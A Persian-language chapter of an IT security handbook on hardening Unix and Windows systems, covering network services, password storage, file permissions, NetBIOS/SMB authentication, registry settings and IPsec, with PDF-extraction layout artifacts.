 راهنماي امنيت فناوري اطلاعات ٤٤٤ 

 تمـام سـطرهايي را كـه        etc/hosts.equiv/ يـا    rhosts. اينكار را انجام دهيـد و در فايلهـاي        . تصديق هويت است استفاده نمود    
هـاي  را بـا كتابخانـه  ) pop  ،imap ،http ،ldap(خـدمات ديگـر     . كنند حذف كنيـد    ماشينهاي مورد اعتماد را مشخص مي      IPآدرسهاي  

OpenSSL       كامپايل كنيد تا از اتصالات SSL/TLS          نـشده  مزگـذاري  با مشتريان استفاده كنند و درنتيجه رمزهاي عبور بصورت ر
  .فرستاده نشوند

هـاي  Daemon.  اجـرا كنيـد  rootاي را تحت حساب کاربري كاربران غيـر  در موقعيتهايي كه امكان آن وجود دارد، خدمات شبكه     
شـوند، چـون    bind، ١٠٢٤تا بتوانند به پورتي پـايينتر از  (اندازي شوند  راهrootتوان طوري پيكربندي كرد كه ابتدا با  اي بسياري را مي   شبكه

و سپس امتيازات خود را از دست بدهند و تحت حساب کاربري يک كاربر غير از                )  دارد root نياز به امتيازات     Unixاينكار در اكثر سيستمهاي     
root     بجاي استفاده از تنها يك حساب كاربري مشترك براي          .  به كار خود ادامه دهندdeamon  ها)nobody(      بـه هـر ،daemon 

 chrootاي را در محـيط      اگر امكان آن وجـود دارد خـدمات شـبكه         .  مخصوص به خودش را اختصاص دهيد      rootيك حساب غير    
  .شدن، صدمات وارده را به حداقل رسانده باشيدمحصور كنيد تا درصورت دستكاري

 خـود را  etc/passwd/فايل اصلي .  استفاده كنيدFTP daemonدهيد، از يك نسخة به روز ارائه مي  ناشناسFTPاگر خدمات 
 وصـل   FTPتواننـد بـه      فهرست كاربراني كه نمي    etc/ftpusers/اطمينان حاصل كنيد كه در فايل       .  قرار ندهيد  FTPدر محدودة   

نـسبت  .  و هر حساب كاربري ديگري كه متعلق به يك انسان واقعي نيست هم باشد              root  ،uucp  ،binشوند شامل كاربراني چون     
هـاي ورودي را طـوري تنظـيم كنيـد كـه اجـازة              شاخه.  همواره هوشيار باشيد   FTPي درون محدودة    هابه مجوزها و مالكيت شاخه    

download   اي پيكربندي كنيد كه مانع هاي خروجي را بگونه   ندهند و شاخهupload شوند، و ثبتهاي مربوط به FTP را نيز بطور 
  .منظم مورد بررسي قرار دهيد

هـيچ  . دهندة پست الكترونيكي اسـتفاده كنيـد       بعنوان سرويس  qmail، يا   postfix  ،exim از   sendmailدرصورت امكان به جاي     
هاي الکترونيکي مربوط بـه حـسابهاي       براي اطمينان از اينكه نامه    . جز آخرين ويرايش آنرا بكار نبريد     خود   MTAويرايشي از برنامة    

ها به آدرسـهاي   استفاده كنيد؛ بعبارت ديگر از تحويل نامهها"mail alias"شوند از مجاز غيركاربري به يك كاربر واقعي تحويل مي
root ،postmaster و abuseاز ايجاد تغييـرات در فايـل مربـوط بـه     .  مطمئن شويد"mail alias"     هـا توسـط افـراد غيرمجـاز

به دقت مورد بررسي قـرار دهيـد و   رسانند، آنها را ها يا فايلها ميها را به برنامههايي داريد كه نامه"mail alias"اگر . محافظت كنيد
  .درصورت امكان آنها را حذف كنيد

انجام اينكار وقتي مفيد اسـت  .  را به اجرا در آوريد  identd و   authdهاي  deamonاگر ماشينهاي چندكاربره داريد، حتماً روي آن        
-نـسخه . يستم ديگري حمله كرده اسـت     كه گزارشي دريافت كنيد مبني بر اينكه كسي با واسطه قرار دادن از سيستمهاي شما به س                

گردانند تا از افـشاي اطلاعـات كـاربران خـود بـه خـارج از                شده باز مي  هاي رمزگذاري هايي را مورد استفاده قرار دهيد كه مشخصه       
  .سيستم جلوگيري كرده باشيد

كنيد دسترسي به آنـرا محـدود   ي را غيرفعال كنيد، و اگر از آن استفاده مportmapper daemonكنيد  استفاده نميRPCاگر از 
 كـه اسـتفاده   inetd ارائه شده توسط RPCهر سرويس  .  را درصورت وجود مورد استفاده قرار دهيد       securenetsنماييد و قابليت    

 گـاه تنهـا تكيـه  .  روي سيستم شما وجود دارد از آن استفاده نماييدSecure RPCاگر . را غيرفعال كنيد) rexdو مخصوصاً (كنيد نمي
درصورت .  اجتناب كنيد٣٥٠سازگاري حالت در +NIS يا NISاز بكارگيري . باشد ميNFS ،Secure RPC و +NISمعقول براي 

توان صادر كرد و مجموعة ميزبانهـايي   استفاده كنيد و تعداد سيستمهاي فايلي كه ميTCP آن در حالت ٣ از ويرايش NFSنياز به   
 اجـازه   NFS. سعي كنيد سيستمهاي فايل را بصورت فقط خواندني صادر كنيـد          . حدود نماييد كنند را م   mountتوانند آنها را      كه مي 
گيرنده تغيير كنند، مگر اينكه صريحاً خلاف آنرا ذكـر كـرده             ماشين سرويس  root است توسط    rootدهد فايلهايي كه مالكشان      نمي
هاي صادرشده باشد و نـه حـساب كـاربري ديگـري             و شاخه   مالك تمام فايلها   rootبنابراين بهتر است حساب کاربري كاربر       . باشيد

  .گيرنده نيز وجود داشته باشدكه ممكن است همنام آن روي سرويس) binمانند (
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" Secure RPC" يـا  Kerberos. ، قويترين مكـانيزم ممكـن بـراي تـصديق هويـت را بكـار بگيريـد       X11درصورت استفاده از 
 نيـز از كمتـرين   xhostضعيفتر از آنها است، و برنامـة  " Magic Cookies"ند و سيستمهاي مستحكمي براي تصديق هويت هست

  .كند نيز محافظت خوبي ايجاد ميSSH از طريق X11زدن اتصالات تونل. حد امنيت برخوردار است

رمزهاي عبـور   . هيداولويت د " اشتراك"را بر امنيت    " دامنه"يا  " كاربر"دهيد، امنيت    ارائه مي  Samba را از طريق     SMBاگر سرويس   
ها را مجبور به استفاده از آخـرين  گيرنده سرويسSambaدر " min protocol"شده را فعال كنيد و با استفاده از قابليت رمزگذاري

 را بـه  DOSكنيـد، بيـت آرشـيو    استفاده نكنيد و يا اگر هم اينكار را مـي " admin user"از گزينة .  نماييدSMBويرايش پروتكل 
  .را نيز بياموزيد" veto files"نحوة استفاده از گزينة . تبديل نماييد) Unixدر " (راقابل اج"

اي از و به سيستم  را بطور منظم بررسي كنيد تا ببينيد چه اتصالات شبكه     lsof و   netstatخروجيهاي  . چشم از شبكة خود بر نداريد     
 و سـاير    nmap  ،Nessus  ،ISSبـا اسـتفاده از      .  استفاده كنيد   براي ديدن اتصالات كاربران    last و   whoاز  . شما ايجاد شده است   

شـايد  . پذيريهاي احتمالي كه بايد اصلاح شوند را پيدا كنيـد         پويشگرهاي امنيت شبكه، سيستم خود را از بيرون كاوش كنيد تا آسيب           
  .بهترين كار براي بعضي ماشينها جداسازي كامل آنها از شبكه باشد

  محافظت از حسابهاي كاربري

سـاده    رمزهاي عبور را بصورت متن     Unixسيستمهاي  .  رمزهاي عبور آنان است    Unixاولين خط دفاعي براي حسابهاي كاربري در        
وقتـي كـاربري    . كنند كه قابل بازگشت به اصل رمز عبور نيست         استفاده مي  ٣٥١ريزي رمزنگاري درهمنمايند، بلكه از يك       ذخيره نمي 

شـدة قبلـي مقايـسه    شـود و بـا مقـدار ذخيـره    تة آنچه بعنوان رمز عبور وارد شده محاسبه مـي خواهد وارد سيستم شود، درهمريخ    مي
  .گردد مي

اين فايل . كردند ذخيره ميetc/passwd/شده را در فايل      اطلاعات حسابها و رمزهاي عبور رمزگذاري      Unixتر  سيستمهاي قديمي 
متأسفانه اين به معني توانايي . هاي كاربري را با نام كاربر تطبيق دهند      شناسهها بتوانند   بود تا پردازه  بايد توسط همه قابل خواندن مي     

كردند با رمزنگاري كلمـات عـام لغتنامـه، نامهـاي           بود كه تلاش مي   ) يا حتي سايرين  (برداري از اين فايل توسط كاربران محلي        نسخه
  .ي از رمزهاي عبور را كشف كنندشده در فايل، بسياركاربران، و غيره، و مقايسة آنها با مقادير ذخيره

كننـد،   براي نگهداري اطلاعات عمومي حسابهاي كاربري اسـتفاده مـي          etc/passwd/ هم همچنان از     Unixسيستمهاي جديدتر   
كنند كـه تنهـا بـا       ذخيره مي ) etc/passwd/adjunct/يا گاهي    (etc/shadow/شده را در فايل     ولي اطلاعات رمزهاي عبور رمزگذاري    

  .  قابل خواندن استroot حساب کاربري دسترسي

باشـند، ماننـد     خود داراي تعدادي حساب كاربري براي جداسازي امتيازات مالكيت فايل و پـردازه مـي               Unixبسياري از سيستمهاي    
daemon  هايbin  ،uucp  اطمينان حاصل کنيد كه قسمت مربوط به رمزهاي عبور رمزشده براي تمام ايـن حـسابها بـا                  . ، و غيره

 را  etc/shadow/اي از يك فايـل      ذيلاً قطعه .  شروع شده و درنتيجه دسترسي به آنها با هيچ رمز عبوري ممكن نيست             "*"اراكتر  ك
  :بينيدمي

root:$1$24g7KF8j$Rjky384Fd1PvtSCOJ/WW.1:12264:0:99999:7:::134551156 
bin: *:10890:0:99999:7::: 
daemon:*:10890:0:99999:7::: 
adm:*:10890:0:99999:7::: 
lp:*:10890:0:99999:7::: 
sync:*:10890:0:99999:7::: 
shutdown:*:10890:0:99999:7::: 
halt:*:10890:0:99999:7::: 
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 rootهرچنـد   (تواند به حسابهاي ديگـر وارد شـود         باشد و هيچ كس نمي     داراي يك رمز عبور معتبر مي      rootدر اين مثال تنها حساب      
توان طوري پيكربندي كرد كه رمزهاي عبور بعد از بسياري از سيستمها را مي).  امتيازات آنها را اختيار كندsuبا دستور  درصورت نياز تواند مي

مدت زمان مشخصي منقضي شوند تا در مقابل استفادة هميشگي يـك مهـاجم از يـك حـساب كـاربري بـدون آگـاهي مالـك آن                            
توانيـد  در بـسياري از سيـستمها مـي   . ي ميان يك تا شش ماه انتخاب كنيد براي رمزهاي عبور خود طول عمر     . محافظت ايجاد شود  

سيستمهايي كه از اين قابليـت پـشتيباني        . تبعيت كنند ) از نظر طول، تنوع كاراكترها، و غيره      (الزام كنيد كه رمزهاي عبور از شرايط خاصي         
  . قابل دسترسي هستندPAMكنند معمولاً از طريق مي

هـاي  فرض و مهمان اقدام مناسبي است، اما اگر مجبور به استفاده از آنها هستيد، از پوسته               بهاي کاربري پيش  استفاده نكردن از حسا   
 ٣٥٢گيرندة پوسته راه دورسرويساين مسئله را با ( استفاده كنيد تا محدود به اجراي تعداد كمي از دستورات باشند     rbash يا   rshمحدودشده  

كـه بـسياري از ويرايـشگرها       (هاي نامحدود    باشيد كه هيچكدام از آن دستورات، امكان دسترسي به پوسته          مراقب).  اشتباه نگيريد  rshبه نام   
  .نداشته باشند) دارند

  ايمحافظت در برابر تهديدات برنامه

 محـيط  توانيـد در افزارهـا را معمـولاً مـي      نـرم .  غيرفشرده يا كامپايـل نكنيـد      rootافزارهاي جديد را تحت حساب كاربري       هرگز نرم 
chrootكامپايل نماييد تا در برابر برخي انواع اسبهاي تراوا مصون بمانيد .  

كنـد كـه وقتـي      هـايي را مـشخص مـي       شـاخه  PATHمتغير  . باشيد) rootالخصوص در مورد كاربر     علي (PATHمراقب متغير محيطي    
هاي استانداردي باشد كه فقـط       شامل شاخه   تنها بايد  root براي   PATH. شوندشود بررسي مي  دستوري بدون مسير مطلق داده مي     

افزارهايي ماننـد   با استفاده از نرم   (توانند در آنها بنويسند و نيز بايد بطور منظم براي كشف تغييرات مميزي شود               حسابهاي مورد اعتماد مي   
Tripwire    يـا AIDE .(   را در   (".") شاخه جاريPATH توانند ي قرار ندهيد، چون در اينصورت مهاجمان براحتي مroot  را فريـب داده و 

) bin/su/ماننـد   (كنيد، خود را به تايپ كردن مـسير كامـل دسـتورات مهـم                كار مي  rootوقتي با   . به اجراي تراواهاي خود وادار كنند     
  . يدها نيز مسير كامل را بنويس"cron job"اندازي و يا هاي پوسته، فايلهاي راهبرنامههمچنين در نوشتن قطعه. عادت دهيد

  جلوگيري از حملات تخريب سرويس

 يـا   PAMبسياري سيستمها از طريق     . دهند روشهاي محافظتي زيادي در برابر حملات تخريب سرويس ارائه مي          Unixسيستمهاي  
 quotaتم  دهند، و با استفاده از سيس     ساير فايلهاي ورود، به ازاي هر كاربر محدوديتهايي در استفاده از ريزپردازنده و حافظه قرار مي               

  .اين قابليتها را فعال كنيد. نيز محدوديتهايي در استفاده از ديسك

  ها و حافظهپردازه

هـاي مبتنـي بـر     و در نـسخه ps –auxw، دسـتور  BSDهاي مبتني بـر  در نسخه(دهد هاي درحال اجراي سيستم را نشان مي پردازهpsدستور 
SVR5 دستور ،ps –elf .( كنند اسـتفاده  هاي درحال اجرا كار ميدارد كه در دستوراتي كه با پردازه" پردازهشمارة شناسة "هر پردازه يك

  .شودمي

هاي در حال اجـرا در   به طور منظم پردازهlsof و topهايي مانند با استفاده از برنامه. هاي درحال اجراي كاربران باشيد  مراقب پردازه 
هـايي كـه در گذشـته در    ها را فعال كنيد تا سابقة پردازهحسابداري پردازه.  كنيدسيستم و اينكه چه كسي آنها را اجرا كرده را بررسي   

  .اند را داشته باشيداند و كاربراني كه زمان پردازش زيادي استفاده كردهسيستم اجرا شده
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زمينه  كارهاي طولاني پسها در استفاده از ريزپردازنده كاربرد دارند و براي براي كم كردن اولويت پردازه renice و   niceدستورات  
ايـن عمـل وقتـي     . ها استفاده كنـد    براي زيادكردن اولويت ريزپردازنده براي پردازه      niceتواند از    مي rootعلاو بر آن،    . مفيد هستند 

  . به زمان ريزپردازنده بيشتري نياز داشته باشدrootهاي كاربران سرعت سيستم را كم كرده باشند و مفيد است كه پردازه

ها از يك تغيير در سيـستم  daemonبرخي سيگنالها براي مطلع كردن  . رودها بكار مي   براي فرستادن سيگنال به پردازه     killتور  دس
تـوان  از سيگنالهاي ديگـر مـي     . گويند كه براي اعمال تنظيمات جديد، فايل پيكربندي را دوباره بخوانند          روند و يا به آنها مي     بكار مي 

  يـا صـريحاً بـصورت    " kill process-id"فرض بـا  كه بطور پيش (TERMسيگنال . ها استفاده كردتمه دادن به پردازهبراي معلق كردن يا خا
"kill –TERM process-id "دهد؛ و سيگنال معمولاً پردازه را خاتمه مي) شودفرستاده ميkillدهـد  بدون هيچ شرطي به پردازه پايان مي .

كند، و وقتي مفيد است كه با هدف انجام تحقيقات بخواهيد تصويري از حافظـه پـردازه بـا                   مي يك پردازه را معلق      TSTPسيگنال  
در مـورد دوم،    . هـا را پـر كـرده باشـند        كنند تمام فضاي پردازه   هايي كه خود را منتشر مي      بگيريد، يا هنگاميكه پردازه    gcoreدستور  

  .ريزي و توليدمثل كنندا بكشيد، طوريكه ديگر نتوانند تخمتوانيد ابتدا هر پردازه را معلق كنيد و سپس همه را يكج مي

هـاي درون سيـستم     وقتـي پـردازه   . كننـد پـشتيباني مـي   )  معروف است  swapكه از قديم به فضاي      ( از حافظه مجازي     Unixسيستمهاي  
مراقـب  . شـود رفته مي  اختصاص داده شده است بكار گ      swap موجود نياز دارند، فضايي از ديسك كه به          RAMاي بيشتر از    حافظه

تواننـد بـرروي فايلهـايي در     مـي Unixبرخـي از سيـستمهاي   . ( كافي داشته باشيد   swapهاي ديسك خود فضاي     partitionباشيد كه روي    
partition هاي با سيستم فايلهاي استاندارد نيزswapآيد كنند، هرچند كارايي پايين مي.(  

  ديسكها

 يـا  mail spoolمانند (هايي كه ممكن است تصادفاً يا عمداً پر شوند partitionي حياتي را از هاquota ،partitionعلاوه بر سيستم 
partition   هاي مخصوصupload  دقت كنيد كه در هر      . جدا سازيد )  كردن فايلpartition    فضا و ،inode      هاي كافي براي ذخيرة فايلهـا

 به بايگاني كردن فايلهاي قديمي در ديـسکهاي فـشرده و نـوري و         بر مصرف ديسك نظارت داشته باشيد و كاربران را        . موجود باشد 
  .حذف آنها از روي ديسک سخت تشويق كنيد

  عاملهاي مايكروسافتسيستم
هاي انفرادي و بدون درنظر گرفتن شبكه آغاز به كار كردند، اما بعد از مدت كوتـاهي                 عاملهاي مايكروسافت با تأكيد بر رايانه     سيستم

 و Windows 3.xسيستمهاي مبتني بـر  . بصورت شبكه نيز بكار گرفته شدند) TCP/IPه از پروتكلهاي اختصاصي و سپس با ابتدا با استفاد(
Windows 95/98/MEگيرنده مناسب هستند؛ بـر خـلاف آن سيـستمهاي مبتنـي بـر       عموماً بعنوان ايستگاههاي كاري سرويس

Windows NT)  از جملهWindows 2000 و Windows XP (شـوند و كنترلهـاي امنيتـي    دهنده پيكربنـدي مـي  باً بعنوان سرويسغال
اگر در محيطي باشـيد كـه در آن از    . آميز باشد تواند فاجعه  مي Windowsهاي مختلف    تفاوتهاي نسخه  ٣٥٣.تري دارند بسيار پيشرفته 

ايـن قـسمت كتـاب در    . ردشود، هر نسخه توجهات و تدابير خـاص خـودش را لازم دا         استفاده مي  Windowsچند نگارش مختلف    
  . تمركز داردWindows NTدرجة اول بر مستحكم كردن سيستمهاي مبتني بر 

 مفيد نيست، اما ساير كتابهـا،       Windowsعاملها، هيچ چيز به اندازة خواندن كتابچة راهنما براي آشنايي شما با             همانند ساير سيستم  
. توانند مطالب غني و فراوانـي بـراي شـما داشـته باشـند           نيز مي  Windowsپايگاههاي وب، و فهرستهاي پستي مخصوص امنيت        

باشد، از جمله   پايگاه وب مايكروسافت شامل يك بخش بزرگ مربوط به امنيت است كه داراي مستندات و ابزارهاي مفيد زيادي مي                  

                                                                                                                                            
كـه   از آنجـا  ايـن سيـستمها     . ندي هست مناسبگزينة  دهنده  سرويسمورد استفاده قرار گرفتن بعنوان      نيز در بعضي شرايط براي       DOSبر خلاف انتظار، سيستمهاي        ۳۵۳

ي بسيار مناسـب  گزينة   DNS و حتي    ،آتشة  يوار ثبت، پايانه، د   ةمنظورتكهاي  دهندهسرويساندكي دارند، براي    پذيري  آسيبكاربره هستند و نقاط     سيستمهاي تك 
  .باشندمي
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كنـد و   را تحليـل مـي  Windows NTاي است كه پيكربندي سيـستمهاي مبتنـي بـر     كه برنامه٣٥٤اي امنيتتحليلگر پايهافزار نرم
  .شود اين برنامه را هر از چندگاه اجرا كنيدپيشنهاد مي. دهدهايي براي تقويت آن ميتوصيه

  كاربران، گروهها، و راهبر سيستم

Windows          گروههاي کاربري معمولاً تواناييهـاي كـاربران خـود را          . كند هم از كاربران و گروهها براي كنترل مجوزها استفاده مي
حـساب كـاربري راهبـر سيـستم در گـروه           . باشـد تري به ازاي هر كاربر نيز ممكن مي       كنند، هرچند كنترل دسترسي جزئي     ين مي تعي

  . باشدراهبران سيستم عضو است و امتيازات ابركاربر سيستم را در اختيار دارد، و لذا هدف اصلي مهاجمان مي

باشد به طـرق مختلفـي قابـل محافظـت          مي" administrator" آن   فرض شناسة كاربري  حساب كاربري سيستم كه در حالت پيش      
؛ )هرچنـد امكـان افـشاي نـام جديـد نيـز وجـود دارد       (تواند موفقيت حملات خودكار را دشوارتر كنـد     تغيير نام آن به يك نام ديگر مي       . است

شـوند كمـك    سيستم انجـام مـي    تواند به كشف حملاتي كه عليه        مي administratorساختن يك حساب غيرفعال دروغين به نام        
  .توان غيرفعال كرد و ورودهاي محلي را نيز محدود نمود و تحت نظارت قرار دادورود از راه دور راهبر به سيستم را مي. كند

 نمـايي از كـاربران و گروههـاي         ٣٥٥مـديريت رايانـه   افـزار   نرم. اينكه چه كاربراني در چه گروههايي عضو هستند اهميت زيادي دارد          
  .گذاردشده در اختيار شما ميتعريف

  امنيت سيستمهاي فايل

) FAT32 و FAT) FAT ،VFATسيستمهاي فايل مبتنـي بـر       : توانند از دو نوع سيستم فايل استفاده كنند        مي Windowsسيستمهاي  
 Windows NT كـه تنهـا در سيـستمهاي مبتنـي بـر      NTFSعاملهاي مايكروسافت سازگارند، و سيستم فايل كه با تمام سيستم

سيـستم فايـل     . است كه مكانيزمي براي برقراري امنيت در سـطح سيـستم فايـل دارد              NTFSدر اين ميان تنها     . شودپشتيباني مي 
FATهيچ تدبيري در زمينة كنترل دسترسي يا مالكيت فايلها ندارد و نبايد از آن در هيچ سيستم حساسي استفاده كرد .  

هـا  ACL. شـود مـديريت مـي   ) هـا ACL( از طريق فهرستهاي كنترل دسترسي       NTFSهاي  ها در سيستم  دسترسي به فايلها و شاخه    
بـه چـه گروههـايي از       ) خواندن، نوشتن، اجرا، ديدن محتويات، تغيير، كنترل كامـل، و يـا مـوارد ديگـر               (كنند كه چه مجوزهايي     عموماً تعيين مي  

 مخصوص به خود دارد و يا خصوصيات ACLيك ) windows registryو درون (هر شيء درون سيستم فايل . كاربران داده شده است
ACLبرد شاخه بالايي خود را به ارث مي.  

مايكروسافت چنـد قالـب امنيتـي ارائـه         . باشد يك ابزار امنيتي قدرتمند و پيچيده است كه نيازمند مطالعات زيادي مي            ACLسيستم  
دهنـد، ولـي شـما ممكـن اسـت          هاي مناسب ارائه مـي    registry، ACLهاي سيستمي و كليدهاي     دهد كه هركدام براي شاخه    مي

  .بخواهيد محدوديت بيشتري اعمال كنيد

  رمزنگاري

Microsoft Windows يك كتابخانة يكپارچه به نام CryptoAPIدر سيستم فايـل  .  براي پشتيباني از رمزنگاري ارائه داده است
NTFSــزار هــا را مــي، فايلهــا و شــاخه ــا اب ــامرئيمزگــذاري كــرد، كــه يــك  رcipher.exeتــوان ب    سيــستم فايــل رمزشــدة ن

)Transparent EFS(مبناي . كند را ايجاد مي٣٥٦EFSتوانند بـا   بر پاية رمزگذاري كليد عمومي بنا نهاده شده و درنتيجه كاربران مي
نظيم كرد كـه درصـورت       را طوري ت   EFSتوان  علاوه بر اين مي   . هاي رمزشدة خود دست يابند    ارائه كليد خصوصي مناسب، به داده     

اين مسئله بسته به سياستها ممكن است سطح امنيت را افزايش يا كـاهش  . (هاي رمزشده را بازيابي كندگم شدن كليد، راهبر سيستم بتواند داده    
  ).دهد

                                                                                                                                            
354  Baseline Security Analyzer 
355  Computer Management 
356  Transparent Encrypted File System 
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 TCP/IPهاي شبكه

 Windows 2000قبل از 

Microsoft Windows تا قبل از رواج گستردة TCP/IPاي  از يك مدل شبكهEthernet كـرد  پـشتيباني مـي   ٣٥٧نظير به نظير
)NetBIOS      از طريق پروتكل انتقال NetBEUI .(  باقيماندةNetBIOS  توان در خدمات چاپگري و اشتراك فايل مايكروسافت ديـد،           را مي

 پيـام  بلـوك به اين پروتكل اشـتراك فايلهـا   . سازي شده استپياده) NBTگاه معروف به  (TCP/IP از طريق    NetBIOSكه بصورت   
 را  TCP/IP از طريـق     NetBIOS بطـور دقيـق      ١٠٠٢ و   ١٠٠١هاي شـمارة    RFC. گويند مي CIFS يا   ٣٥٨)SMB (دهندهسرويس

  .اندتوصيف كرده

NetBIOS            تـرين مـدل، ميزبانهـاي      در سـاده  . باشـد  داراي پروتكلهاي تصديق هويت و تشخيص نام ميزبان مخصوص به خود مي
ايـن روش  . نماينـد مـي  كنند و نام خود را در شبكه ثبـت گستر، همديگر را پيدا ميهاي عامبسته با استفاده از  NetBIOS) هـاي گره(

هاي بزرگ، يك مشكل عمدة امنيتي نيز دارد و آن اينكـه در ايـن روش هـر گـره براحتـي               پذيري در شبكه  علاوه بر مشكل مقياس   
  .شده را بدزدد و خود را بجاي آن جا بزندتواند يك نام ثبت مي

 ٣٥٩هـاي سـرويس نـام     گـره  به صورت نظير به نظير با ميزبانهايي كه بعنـوان            NetBIOSهاي  تر اين است كه گره     حالت ايمن  يك
NetBIOS)    هـاي   دهندهگاه معروف به سرويسWINS (  اند ارتباط برقرار كنند و جهت ثبت نام و جـستجو بـراي نامهـا     درنظر گرفته شده

.  ارتبـاط برقـرار كننـد      datagramهـاي توزيـع      با گره  NetBIOSها در سطح    راي پخش بسته  آنان را مورد استفاده قرار دهند، و ب       
   ليدبعلاوه مقدار ك. آوردسازي نامها توسط ماشينها محافظت بعمل مي در برابر گمراهNetBIOSهاي نام دهندهسرويس

\HKEY_LOCAL_MACHINE\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnD
emand 

كه احتمـالاً از طـرف يـك مهـاجم          (ها به درخواستهاي اعلام نام      دهنده گذاشت تا از پاسخ دادن سرويس      ١توان برابر    را مي  registry در
  .جلوگيري شود) دهنده و جا زدن خودش به جاي وي فرستاده شده استبراي بدست آوردن نام يك سرويس

.  كه آن منبع را در اختيـار دارد وارد شـوند  SMBدهندة  استفاده از يك منبع بايد ابتدا به سرويس       در بسياري موارد، كاربران متقاضي      
 وقتـي كـاربري     ٣٦٠.گيـرد  با استفاده از تصديق هويت به روش پرسـش و پاسـخ صـورت مـي                SMBروند ورود در نگارشهاي جديد      

گيرنـده  سرويس. فرستدگيرنده مي ش براي سرويس   يك رشتة متني يكتا بعنوان پرس      SMBدهندة  دهد، سرويس درخواست ورود مي  
كنـد و آنـرا   شود رمزگذاري مـي اين رشته را با استفاده از كليد نشستي كه از روي درهمريختة رمزنگاري رمز عبور كاربر محاسبه مي  

 نتيجه را بـا جـواب       دهد و  نيز همان عمليات را انجام مي      SMBدهندة  سرويس. گرداند باز مي  SMBدهندة  بعنوان پاسخ به سرويس   
شكل دقيق محاسبات بستگي به گويش مورد       . شوداگر ايندو يكسان باشند، هويت كاربر تصديق مي       . كندگيرنده مقايسه مي  سرويس

  .اندتعريف شده) NT و LM( دارد؛ و درحال حاضر دو گويش اصلي SMBاستفاده از 

) دهندة تصديق هويت ديگري كـه بـا آن در ارتبـاط اسـت             يا سرويس  (SMBة  دهندتوجه داشته باشيد كه اين به معناي اين است كه سرويس          
دهنـده بـه دسـت مهاجمـان بيافتـد،          اگـر ايـن سـرويس     . را در اختيـار دارد    ) سادة رمـز عبـور    ولي نه متن  (درهمريختة رمز عبور كاربران     

 SMBدهندة  ا بعنوان يك از كاربران جا بزند و به سرويس         و ممكن است مهاجم بتواند خود ر      (شود  درهمريختة تمام رمزهاي عبور كاربران افشا مي      
ساده و چه بصورت درهمريخته از هـيچ        از طرف ديگر اين رويكرد داراي اين مزيت است كه رمز عبور، چه بصورت متن              ). متصل گردد 

 مورد محافظت   Kerberos بايد مثل كنترلگرهاي دامنة      SMBدهندة تصديق هويت    درنتيجه سرويس . كندكجاي شبكه عبور نمي   
  .قرار گيرد

                                                                                                                                            
357  Peer to Peer 
358  Server Message Block 
359  Name Service Nodes 

  .ساده در شبكه فرستاده شونددادند رمزعبورها بصورت متناجازه مي) Windows for Workgroups مورد استفاده در ةمثل نسخ( SMB قديمي ويرايشهاي   ۳۶۰
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 كـاملاً  TCP/IPرا در تنظيمات پيـشرفتة  " TCP/IP از طريق  NetBIOS"كنيد،   استفاده نمي  Windowsاگر از اشتراك فايلهاي     
كنند، بايد آنها را طوري      پشتيباني مي  NetBIOS/SMBهاي جديدتر پروتكلهاي    اگر تمام ماشينهاي شبكه از نسخه     . غيرفعال كنيد 

اند تا بدينصورت   آمده) NTLMv2در بيشتر موارد    (نيد كه تنها به درخواستهايي پاسخ دهند كه بر اساس آخرين ويرايش پروتكل              تنظيم ك 
اگر براي ادارة سيستم فايل راهبري از راه دور مورد نيـاز            . تر گرفته شود  پذير قديمي هاي آسيب برداري مهاجمان از نسخه   جلوي بهره 

  نيست، به كليد 

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\Auto
ShareWKS 

  . بدهيد تا آنرا غيرفعال كرده باشيد٠ مقدار registryدر 

Windows  تنها به فايلها بلكه به كليدهاي توان طوري پيكربندي كرد كه كاربران راه دور نه    را ميregistry   نيز دسترسـي داشـته 
  اين مجوز امنيتي روي كليد. ندباش

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\winreg  

 registryاگر نياز به دسترسي از راه دور به         .  را تغيير دهند   registryتوانند از راه دور     كند كه كدام كاربران مي    قرار دارد و تعيين مي    
تـوان سـرويس   همچنـين مـي  . تنها شامل راهبران سيستم باشد، و در غير اينصورت بايد شامل هيچكس نباشد       داريد، اين گروه بايد     
  . را بالكل غيرفعال كردregistryدسترسي راه دور به 

هـا   داراي يك صافي ساده براي بـسته Windows NT براي كارتهاي شبكه در سيستمهاي مبتني بر TCP/IPتنظيمات پيشرفتة 
 را نيـز  IPهاي غيـر  تواند بسته دهد، و همچنين مي    به آنها اجازة عبور مي     TCP يا   UDPهاي  ساس پورت مقصد بسته   است كه بر ا   
  . غربال كند

   به بعدWindows 2000از 

هـاي عـضو دامنـه ارائـه     گيرندههاي قبل امكان كنترل بسيار بيشتري روي سرويس نسبت به نسخهWindows 2000هاي دامنه
تواند بر سياستهاي امنيتي محلي آن ايـستگاه   هنگام پيوستن يك ايستگاه كاري به دامنه، سياستهاي امنيتي دامنه مي           مثلاً. دهند  مي

  .مفيد باشد) بصورت متمركز(تواند در استحكام امنيت ايستگاههاي كاري كاري سوار شود، كه اين امر مي

Windows 2000 و سيستمهاي بعد از آن از kerberosكنند، هرچنـد هنـوز هـم از    ية اصلي امنيت شبكه استفاده مي بعنوان لا
NetBIOS  هاي قبلي باز هم كاربرد دارند     نمايند و لذا توصيه    پشتيباني مي .kerberos -    همانطور كه قبلاً در اين كتاب گفته شـد 

 كنترلگـر اصـلي دامنـه    Windows 2000در . كنـد  تصديق هويت و تأييد اعتبار را بصورت ايمن براي خدمات شبكه فراهم مي-
)primary domain controller ( فرماندهيkerberosدار است را عهده.  

Windows 2000 همچنين از IPsecهاي خصوصي مجـازي   براي ايجاد شبكه)VPN بـراي اتـصالات   . كنـد پـشتيباني مـي  ) هـا
 انجـام   IPر برنامة مديريت سياستهاي امنيتي       د IPsecپيكربندي  .  را الزامي نمود   IPsecتوان  دهنده مي گيرنده و سرويس  سرويس

 اسـتفاده   VPNبـراي ايجـاد تونلهـاي       ) PPTP( از يـك پروتكـل خـاص مايكروسـافت           Windowsتر  ويرايشهاي قديمي . شودمي
  .تر را نيز پشتيباني كنيد ترجيح دارد، مگر اينكه بخواهيد سيستمهاي قديميIPsecدر اكثر موارد استفاده از . كردند مي

Windows XP  غربـال اتـصال اينترنـت   هـا بـه نـام     يك صافي وابسته به وضـعيت بـسته) ICF(نيـز در خـود دارد كـه بـراي     ٣٦١ 
يابند كه مربوط به اتـصالاتي  هايي اجازة عبور ميفرض فقط بستهدر اين صافي بطور پيش. آل استهاي اينترنت ايده گيرنده سرويس

  .اندگيرنده آغاز شدهباشند كه توسط سرويس

                                                                                                                                            
